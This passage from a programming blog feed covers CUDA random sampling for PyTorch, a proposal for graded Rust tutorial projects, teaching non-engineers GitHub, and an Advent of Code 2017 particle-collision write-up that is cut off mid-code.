&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In particular, if a thread didn't exit in the first or second samples, it would never exit the while loop. I spent a while debugging, and realized that even though calls to &lt;code&gt;curand_uniform_double&lt;/code&gt; were uniformly distributed in isolation, adding rejection sampling would cause it to repeat values. The calls are &lt;code&gt;curand_uniform_double(state)&lt;/code&gt; for some RNG state &lt;code&gt;state&lt;/code&gt;, but &lt;code&gt;state&lt;/code&gt; was fine since it generated uniform doubles in isolation. PyTorch uses a MTGP32-based sampler, so I eventually looked in the docs and found this line:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"At a given point in the code, all threads in the block, or none of them, must call this
function."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So, what was happening is that threads that returned early didn't call the function, so it was undefined behavior. This means rejection sampling is hard! However, there's a solution. There's an alternative call, &lt;code&gt;curand_mtgp32_single_specific&lt;/code&gt;, which takes a generator state, an index, and a count of the total number of threads that call it. As long as each index is unique and adds up the thread count, this will give uniformly distributed floats as expected. However, we do need to be a bit careful about how to synchronize because of &lt;a href="https://cvw.cac.cornell.edu/gpu/thread_div"&gt;warp divergence&lt;/a&gt;.&lt;/p&gt;
&lt;pre class="language-cpp " style="background-color: #011627; color: #d6deeb;"&gt;&lt;code class="language-cpp"&gt;&lt;span&gt;__device__ &lt;/span&gt;&lt;span style="color: #addb67;"&gt;int64_t &lt;/span&gt;&lt;span style="color: #82aaff;"&gt;sample_poisson&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #82aaff;"&gt;double &lt;/span&gt;&lt;span style="color: #d7dbe0;"&gt;lambda&lt;/span&gt;&lt;span&gt;, curandStateMtgp32 &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;*&lt;/span&gt;&lt;span style="color: #d7dbe0;"&gt;states&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span style="color: #82aaff;"&gt;int &lt;/span&gt;&lt;span style="color: #d7dbe0;"&gt;num_threads&lt;/span&gt;&lt;span&gt;) {
&lt;/span&gt;&lt;span&gt;  __shared__ &lt;/span&gt;&lt;span style="color: #82aaff;"&gt;int&lt;/span&gt;&lt;span&gt; thread_count;
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;if &lt;/span&gt;&lt;span&gt;(threadIdx&lt;/span&gt;&lt;span style="color: #c792ea;"&gt;.&lt;/span&gt;&lt;span style="color: #addb67;"&gt;x &lt;/span&gt;&lt;span style="color: #c792ea;"&gt;== &lt;/span&gt;&lt;span style="color: #f78c6c;"&gt;0&lt;/span&gt;&lt;span&gt;) thread_count &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;=&lt;/span&gt;&lt;span&gt; num_threads;
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #addb67;"&gt;int64_t&lt;/span&gt;&lt;span&gt; X &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;= &lt;/span&gt;&lt;span style="color: #f78c6c;"&gt;0&lt;/span&gt;&lt;span&gt;;
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #82aaff;"&gt;int&lt;/span&gt;&lt;span&gt; idx &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;=&lt;/span&gt;&lt;span&gt; threadIdx&lt;/span&gt;&lt;span style="color: #c792ea;"&gt;.&lt;/span&gt;&lt;span style="color: #addb67;"&gt;x&lt;/span&gt;&lt;span&gt;;
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #82aaff;"&gt;float&lt;/span&gt;&lt;span&gt; U &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;= &lt;/span&gt;&lt;span style="color: #f78c6c;"&gt;0&lt;/span&gt;&lt;span&gt;;
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #82aaff;"&gt;float&lt;/span&gt;&lt;span&gt; enlam &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;= &lt;/span&gt;&lt;span&gt;std&lt;/span&gt;&lt;span style="color: #c792ea;"&gt;::&lt;/span&gt;&lt;span style="color: #82aaff;"&gt;exp&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #c792ea;"&gt;-&lt;/span&gt;&lt;span&gt;lambda);
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #82aaff;"&gt;float&lt;/span&gt;&lt;span&gt; prod &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;= &lt;/span&gt;&lt;span style="color: #f78c6c;"&gt;1.0&lt;/span&gt;&lt;span&gt;;
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;while &lt;/span&gt;&lt;span&gt;(thread_count &lt;/span&gt;&lt;span style="color: #c792ea;"&gt;!= &lt;/span&gt;&lt;span style="color: #f78c6c;"&gt;0&lt;/span&gt;&lt;span&gt;) {
&lt;/span&gt;&lt;span&gt;    U &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;= &lt;/span&gt;&lt;span style="color: #addb67;"&gt;curand_mtgp32_single_specific&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;states[blockIdx&lt;/span&gt;&lt;span style="color: #c792ea;"&gt;.&lt;/span&gt;&lt;span style="color: #addb67;"&gt;x&lt;/span&gt;&lt;span&gt;], idx, thread_count);
&lt;/span&gt;&lt;span&gt;    prod &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;*=&lt;/span&gt;&lt;span&gt; U;
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;if &lt;/span&gt;&lt;span&gt;(prod &lt;/span&gt;&lt;span style="color: #c792ea;"&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; enlam) {
&lt;/span&gt;&lt;span&gt;      X &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;+= &lt;/span&gt;&lt;span style="color: #f78c6c;"&gt;1&lt;/span&gt;&lt;span&gt;;
&lt;/span&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #addb67;"&gt;__syncthreads&lt;/span&gt;&lt;span&gt;();
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;if &lt;/span&gt;&lt;span&gt;(idx &lt;/span&gt;&lt;span style="color: #c792ea;"&gt;== &lt;/span&gt;&lt;span style="color: #f78c6c;"&gt;0&lt;/span&gt;&lt;span&gt;) {
&lt;/span&gt;&lt;span&gt;      thread_count &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;= &lt;/span&gt;&lt;span style="color: #f78c6c;"&gt;0&lt;/span&gt;&lt;span&gt;;
&lt;/span&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #addb67;"&gt;__syncthreads&lt;/span&gt;&lt;span&gt;();
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;if &lt;/span&gt;&lt;span&gt;(prod &lt;/span&gt;&lt;span style="color: #c792ea;"&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; enlam) {
&lt;/span&gt;&lt;span&gt;      idx &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;= &lt;/span&gt;&lt;span style="color: #addb67;"&gt;atomicAdd&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;thread_count, &lt;/span&gt;&lt;span style="color: #f78c6c;"&gt;1&lt;/span&gt;&lt;span&gt;); &lt;/span&gt;&lt;span style="color: #637777;"&gt;// counts 'living' threads
&lt;/span&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;While it's neat, for a few reasons unfortunately it's not quite appropriate for PyTorch, so we'll look into other solutions. For the Poisson, at least, there's a &lt;code&gt;curand_poisson&lt;/code&gt; which implements it natively for us.&lt;/p&gt;
&lt;h2 id="some-thoughts"&gt;Some thoughts&lt;/h2&gt;
&lt;p&gt;One problem that bothered me for more than a week on the IBP project was that our implementation of Beta BBVI went haywire when I used my CUDA sampler. So, following Finale's advice, I made some &lt;a href="https://en.wikipedia.org/wiki/Q%E2%80%93Q_plot"&gt;qq-plots&lt;/a&gt;, but couldn't see any real issues. The reason: was sampling using the identity&lt;/p&gt;
&lt;div&gt;
$$z \sim \operatorname{Beta}(a, b) \implies z \sim \frac{\operatorname{Gamma}(a)}{\operatorname{Gamma}(a) + \operatorname{Gamma}(b)}$$
&lt;/div&gt;
&lt;p&gt;since you know, that's what I learned in Stat 210. But! This is numerically unstable when both $a, b \leq 1$. The solution was found while digging through Numpy's code &lt;a href="https://github.com/numpy/numpy/blob/master/numpy/random/mtrand/distributions.c#L189"&gt;here&lt;/a&gt;, which taught me to respect my elders, or at least to respect Numpy.&lt;/p&gt;
&lt;p&gt;I wonder whether there's any work still going on for fast random number sampling. It's not something I'm directly interested in, but something I'm curious about.&lt;/p&gt;
&lt;p&gt;Another fun story: when later trying to calculate log of the Beta function, I was on my guard and checked out &lt;a href="https://github.com/scipy/scipy/blob/master/scipy/special/cephes/beta.c#L138"&gt;the Cephes implementation&lt;/a&gt;, which is roughly 30 years old. At the top it says:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"Direct inquiries to 30 Frost Street, Cambridge, MA 02140"&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;which is about 2 blocks from where I live.&lt;/p&gt;
&lt;footer class="footnotes"&gt;
&lt;ol class="footnotes-list"&gt;
&lt;li id="fn-1"&gt;
&lt;p&gt;There's some other blog posts by the PyTorch folks &lt;a href="http://pytorch.org/blog/"&gt;here&lt;/a&gt;, definitely also worth checking out. &lt;a href="https://rachitsingh.com/pytorch/#fr-1-1"&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn-2"&gt;
&lt;p&gt;Which are the devil. My operating systems course, as excellent as it was, was entirely in C and implemented arrays via macros. &lt;a href="https://rachitsingh.com/pytorch/#fr-2-1"&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/footer&gt;</description><author>Rachit Singh</author><pubDate>Thu, 04 Jan 2018 04:44:27 GMT</pubDate><guid isPermaLink="true">https://rachitsingh.com/pytorch/</guid></item><item><title>Rust incremental-difficulty tutorial series</title><link>https://nutcroft.mataroa.blog/blog/rust-incremental-difficulty-tutorial-series/</link><description>&lt;blockquote&gt;
&lt;p&gt;A response to Rust’s &lt;a href="https://blog.rust-lang.org/2018/01/03/new-years-rust-a-call-for-community-blogposts.html"&gt;Call for Community Blogposts&lt;/a&gt; #Rust2018&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is a documentation improvement on learning Rust, derived from personal experience after picking up Rust and reading the Book v1, a few months ago.&lt;/p&gt;
&lt;h2 id="the-problem"&gt;The problem&lt;/h2&gt;
&lt;p&gt;For me picking up a new programming language is hard because finding the successful learning path is hard.&lt;/p&gt;
&lt;p&gt;The first step is usually obvious, it’s a “Getting started” article on the official docs. This includes the basic syntax and concepts. With Rust, the second step is easy too, it’s &lt;a href="https://doc.rust-lang.org/book/second-edition/"&gt;The Book&lt;/a&gt;. The third step would be to write your own thing, to solve a problem of your own; create a small project.&lt;/p&gt;
&lt;p&gt;The problems with this are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What this project will be&lt;/li&gt;
&lt;li&gt;How hard it should be&lt;/li&gt;
&lt;li&gt;How I can learn if the result is low, medium or high quality&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When learning, and especially when you are new to programming, you may pick up the wrong problems to solve with the tools you want to learn. Learning JavaScript by coding mathematical computation algorithms might not be the best idea and similarly learning Rust by building web applications is not either&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Secondly, you can’t know how hard the problem you want to tackle is when using a new programming language&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;. Coding a mass file renamer might be 10 times more time-consuming and difficult in C than in Python&lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Thirdly, you can’t assess the result; whether it’s high quality Rust code or not. There might be open source clones, but who says they’re better or worse? In contrast with the previous problems, this is much harder to overcome, and again, especially if you are a beginner.&lt;/p&gt;
&lt;p&gt;To sum up, we need:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To know the correct problems to solve&lt;/li&gt;
&lt;li&gt;The level of difficulty of each one&lt;/li&gt;
&lt;li&gt;The reference solution of an expert&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="the-solution-proposal"&gt;The solution proposal&lt;/h2&gt;
&lt;p&gt;Along with the Book and Rust By Example add a series of high quality, Rust-suitable project examples.&lt;/p&gt;
&lt;p&gt;These projects’ difficulty could escalate proportionately.&lt;/p&gt;
&lt;p&gt;Here is a proposal from someone who doesn’t know Rust:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Hello World&lt;/li&gt;
&lt;li&gt;&lt;a href="https://doc.rust-lang.org/book/second-edition/ch02-00-guessing-game-tutorial.html"&gt;Guessing game&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;JSON validator&lt;/li&gt;
&lt;li&gt;curl clone&lt;/li&gt;
&lt;li&gt;Poker&lt;/li&gt;
&lt;li&gt;Lite Git clone&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A Rust learner after completing those will have written a good chunk of Rust LOCs, assess their results and improve iteratively!&lt;/p&gt;
&lt;p&gt;The requirements of these projects need to be described in detail so the novice can know exactly what they will need to create.&lt;/p&gt;
&lt;p&gt;And of course, the solutions of these projects need to be available, heavily commented and written with best practices in mind. It should not be the best possible code nor the most efficient, probably the most readable and correct, though.&lt;/p&gt;
&lt;p&gt;With these, a Rust learner can refer to exemplary, readable, beginner-friendly code that can guide them. Steps after that could be to create step-by-step tutorials for the projects (like the existing Guessing Game book chapter), or even screencasts, like &lt;a href="https://gophercises.com/"&gt;Gophercises&lt;/a&gt; for Golang.&lt;/p&gt;
&lt;p&gt;The existence of official tutorials, part of Rust docs, means that there will be a go-to resource for all new users, and a few example projects that will always be up-to-date and available for studying.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;This article was also published on &lt;a href="https://medium.com/@sirodoht/rust-incremental-difficulty-tutorial-series-8c09ecdd38e7"&gt;Medium&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr /&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;At least for now.&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Well, guessing might work, but we want to improve things here anyway.&amp;#160;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;Yes, C might be a more suitable language for this task, but Python is ok for learning.&amp;#160;&lt;a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description><author>nutcroft</author><pubDate>Thu, 04 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nutcroft.mataroa.blog/blog/rust-incremental-difficulty-tutorial-series/</guid></item><item><title>How and why we teach non-engineers to use GitHub at Thread</title><link>https://3059274a.danpalmer-me.pages.dev/2018-01-04-teaching-non-engineers-how-to-contribute-code/</link><description>&lt;p&gt;At Thread one of our core beliefs is that technology allows for great change. This is important to our product, but it’s also important to how we work internally.&lt;/p&gt;
&lt;p&gt;Because of this way of working, we try to represent everything in data—products, measurements, styles, suppliers, locations in our warehouse, support ticket resolutions, and many more things that you’d never even think about.&lt;/p&gt;
&lt;p&gt;All of these data models come with a cost of needing a way for those in the company who use them to maintain the data. This means building editing interfaces, with validation, database design, and front-end work. Often we just don’t have time to do this—new features are higher priority, and besides, a engineer can just update a few data files when needed right?&lt;/p&gt;</description><author>Dan Palmer</author><pubDate>Thu, 04 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://3059274a.danpalmer-me.pages.dev/2018-01-04-teaching-non-engineers-how-to-contribute-code/</guid></item><item><title>Available for Consulting</title><link>https://peterlyons.com/problog/2018/01/available-for-consulting/</link><description>&lt;p&gt;I have availability for new consulting engagements this year.&lt;/p&gt;
&lt;p&gt;Do you have an ambitious Node.js project you want to supercharge? I can get your team cruising with rock-solid practices and past all the pitfalls and stumbling blocks.&lt;/p&gt;
&lt;p&gt;Adding Node.js and JavaScript to your tech stack? How about some expert-led training to be sure your team is fluent with the tools?&lt;/p&gt;
&lt;p&gt;Ready to experience the game-changing effects of serverless applications? I spent most of last year immersed in AWS Lambda, Internet of Things (IoT), and event-driven architectures and would love to build a solution for you that is easy and affordable to operate.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://peterlyons.com/contact"&gt;Get in touch!&lt;/a&gt;&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Wed, 03 Jan 2018 19:32:11 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2018/01/available-for-consulting/</guid></item><item><title>Managing Someday-Maybe Projects with a CLI</title><link>https://blog.harterrt.com/sdmb.html</link><description>&lt;p&gt;I have a problem managing projects I'm interested in but don't have time for.
For example, the &lt;a href="/slack_alerts.html"&gt;CLI for generating slack alerts&lt;/a&gt; I posted about last year.
Not really a priority, but helpful and not that complicated.
I sat on that project for about a year before I could finally …&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Wed, 03 Jan 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/sdmb.html</guid></item><item><title>On Digital DIY, and its place in India</title><link>https://stop.zona-m.net/2018/01/on-digital-diy-and-its-place-in-india/</link><description>&lt;p&gt;A couple of weeks ago I gave a talk at the &lt;a href="http://swatantra.net.in/"&gt;Swatantra17 conference in Trivandrum, Kerala&lt;/a&gt;, about &amp;ldquo;Open, Digital DIY manufacturing across countries and cultures&amp;rdquo; (here are &lt;a href="http://freeknowledge.eu/article/fki-present-india-open-digital-diy-manufacturing-across-countries-and-cultures"&gt;abstract&lt;/a&gt; and &lt;a href="https://www.slideshare.net/mfioretti/free-as-in-freedom-products-and-communities-open-digital-diy-manufacturing-across-people-and-cultures"&gt;slides&lt;/a&gt;) ). This is a guest post by &lt;a href="https://www.linkedin.com/in/revathikollegala/"&gt;Mrs Revathi Kollegala, social entrepreneur and collaborative economy advocate&lt;/a&gt;, containing her feedback to my slides.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 03 Jan 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/on-digital-diy-and-its-place-in-india/</guid></item><item><title>I'm teaching with Czechitas now</title><link>https://alesruzicka.net/blog/eng/czechitas/</link><description>&lt;p&gt;It’s been about 9 months since I’ve first met with Dita Přikrylová, founder of Czechitas, non-profit organization that focuses on teaching development skills to women, girls and children.&lt;/p&gt;</description><author>English articles on AlesRuzicka.net</author><pubDate>Wed, 03 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://alesruzicka.net/blog/eng/czechitas/</guid></item><item><title>Our approach to software development consistency</title><link>https://www.mootoday.com/blog/our-approach-to-software-development-consistency</link><description>Don't document what you can automate.</description><author>www.mootoday.com - RSS Feed</author><pubDate>Wed, 03 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mootoday.com/blog/our-approach-to-software-development-consistency</guid></item><item><title>Catching up a forgotten moment</title><link>https://98.codes/dream-job/</link><description>Dream job... to help others? To get famous? To help yourself? To get rich? All of the above? None? Hmmmm…</description><author>Text(Greg);</author><pubDate>Tue, 02 Jan 2018 23:06:46 GMT</pubDate><guid isPermaLink="true">https://98.codes/dream-job/</guid></item><item><title>Advent of Code 2017 day 20 task 2</title><link>https://qubyte.codes/blog/advent-of-code-2017-day-20-task-2</link><description>&lt;p&gt;SPOILER ALERT: If you're doing the 2017 Advent of Code, you may not want to read
onward.&lt;/p&gt;
&lt;p&gt;Over the holiday period I found a little time to work on the
&lt;a href="https://adventofcode.com"&gt;2017 advent of code&lt;/a&gt; challenges. The later ones get quite involved, and I
particularly enjoyed day 20. The second part of the task involves a 3D grid
containing accelerating particles. Particles which collide at a grid point
(occupy that point at the same time) are removed, and we're asked to determine
how many particles remain after all collisions have occurred. This one was
fun for me because the solution I came up with involved a little mathematics to
avoid brute forcing the answer.&lt;/p&gt;
&lt;p&gt;At this point in the challenges, writing a parser for an input file is something
I'll skip over. The parser gives back an array of objects, each representing a
particle, with &lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;/math&gt;, &lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;/math&gt;, and &lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;/math&gt; fields to represent position, velocity, and
acceleration respectively. These quantities are all represented as length three
arrays for the &lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;/math&gt;, &lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mi&gt;y&lt;/mi&gt;&lt;/math&gt;, and &lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mi&gt;z&lt;/mi&gt;&lt;/math&gt; axes. The input looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-json"&gt;&lt;span class="hljs-punctuation"&gt;[&lt;/span&gt;
  &lt;span class="hljs-punctuation"&gt;{&lt;/span&gt;
    &lt;span class="hljs-attr"&gt;&amp;quot;p&amp;quot;&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;:&lt;/span&gt; &lt;span class="hljs-punctuation"&gt;[&lt;/span&gt;&lt;span class="hljs-number"&gt;-4897&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt; &lt;span class="hljs-number"&gt;3080&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt; &lt;span class="hljs-number"&gt;2133&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;]&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt;
    &lt;span class="hljs-attr"&gt;&amp;quot;v&amp;quot;&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;:&lt;/span&gt; &lt;span class="hljs-punctuation"&gt;[&lt;/span&gt;&lt;span class="hljs-number"&gt;-58&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt; &lt;span class="hljs-number"&gt;-15&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt; &lt;span class="hljs-number"&gt;-78&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;]&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt;
    &lt;span class="hljs-attr"&gt;&amp;quot;a&amp;quot;&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;:&lt;/span&gt; &lt;span class="hljs-punctuation"&gt;[&lt;/span&gt;&lt;span class="hljs-number"&gt;17&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt; &lt;span class="hljs-number"&gt;-7&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt; &lt;span class="hljs-number"&gt;0&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;]&lt;/span&gt;
  &lt;span class="hljs-punctuation"&gt;}&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt;
  &lt;span class="hljs-punctuation"&gt;{&lt;/span&gt;
    &lt;span class="hljs-attr"&gt;&amp;quot;p&amp;quot;&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;:&lt;/span&gt; &lt;span class="hljs-punctuation"&gt;[&lt;/span&gt;&lt;span class="hljs-number"&gt;395&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt; &lt;span class="hljs-number"&gt;-997&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt; &lt;span class="hljs-number"&gt;4914&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;]&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt;
    &lt;span class="hljs-attr"&gt;&amp;quot;v&amp;quot;&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;:&lt;/span&gt; &lt;span class="hljs-punctuation"&gt;[&lt;/span&gt;&lt;span class="hljs-number"&gt;-30&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt; &lt;span class="hljs-number"&gt;66&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt; &lt;span class="hljs-number"&gt;-69&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;]&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt;
    &lt;span class="hljs-attr"&gt;&amp;quot;a&amp;quot;&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;:&lt;/span&gt; &lt;span class="hljs-punctuation"&gt;[&lt;/span&gt;&lt;span class="hljs-number"&gt;1&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt;&lt;span class="hljs-number"&gt;-2&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt;&lt;span class="hljs-number"&gt;-8&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;]&lt;/span&gt;
  &lt;span class="hljs-punctuation"&gt;}&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt;
  &lt;span class="hljs-punctuation"&gt;{&lt;/span&gt;
    &lt;span class="hljs-attr"&gt;&amp;quot;p&amp;quot;&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;:&lt;/span&gt; &lt;span class="hljs-punctuation"&gt;[&lt;/span&gt;&lt;span class="hljs-number"&gt;-334&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt; &lt;span class="hljs-number"&gt;-754&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt; &lt;span class="hljs-number"&gt;-567&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;]&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt;
    &lt;span class="hljs-attr"&gt;&amp;quot;v&amp;quot;&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;:&lt;/span&gt; &lt;span class="hljs-punctuation"&gt;[&lt;/span&gt;&lt;span class="hljs-number"&gt;-31&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt; &lt;span class="hljs-number"&gt;15&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt; &lt;span class="hljs-number"&gt;-34&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;]&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt;
    &lt;span class="hljs-attr"&gt;&amp;quot;a&amp;quot;&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;:&lt;/span&gt; &lt;span class="hljs-punctuation"&gt;[&lt;/span&gt;&lt;span class="hljs-number"&gt;3&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt;&lt;span class="hljs-number"&gt;1&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt;&lt;span class="hljs-number"&gt;4&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;]&lt;/span&gt;
  &lt;span class="hljs-punctuation"&gt;}&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt;
  &lt;span class="hljs-comment"&gt;// ...&lt;/span&gt;
&lt;span class="hljs-punctuation"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The general algorithm I used was to calculate a collision times for each pair
of particles, order them by time ascending, and then remove all pairs for
each time step when both colliding particles are still in the set of all
particles up to that time (earlier collisions can invalidate later collisions
since collisions remove colliding particles).&lt;/p&gt;
&lt;p&gt;To calculate potential collisions, I used the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; collisions = [];

&lt;span class="hljs-keyword"&gt;for&lt;/span&gt; (&lt;span class="hljs-keyword"&gt;let&lt;/span&gt; i = &lt;span class="hljs-number"&gt;0&lt;/span&gt;; i &amp;lt; input.&lt;span class="hljs-property"&gt;length&lt;/span&gt; - &lt;span class="hljs-number"&gt;1&lt;/span&gt;; i++) {
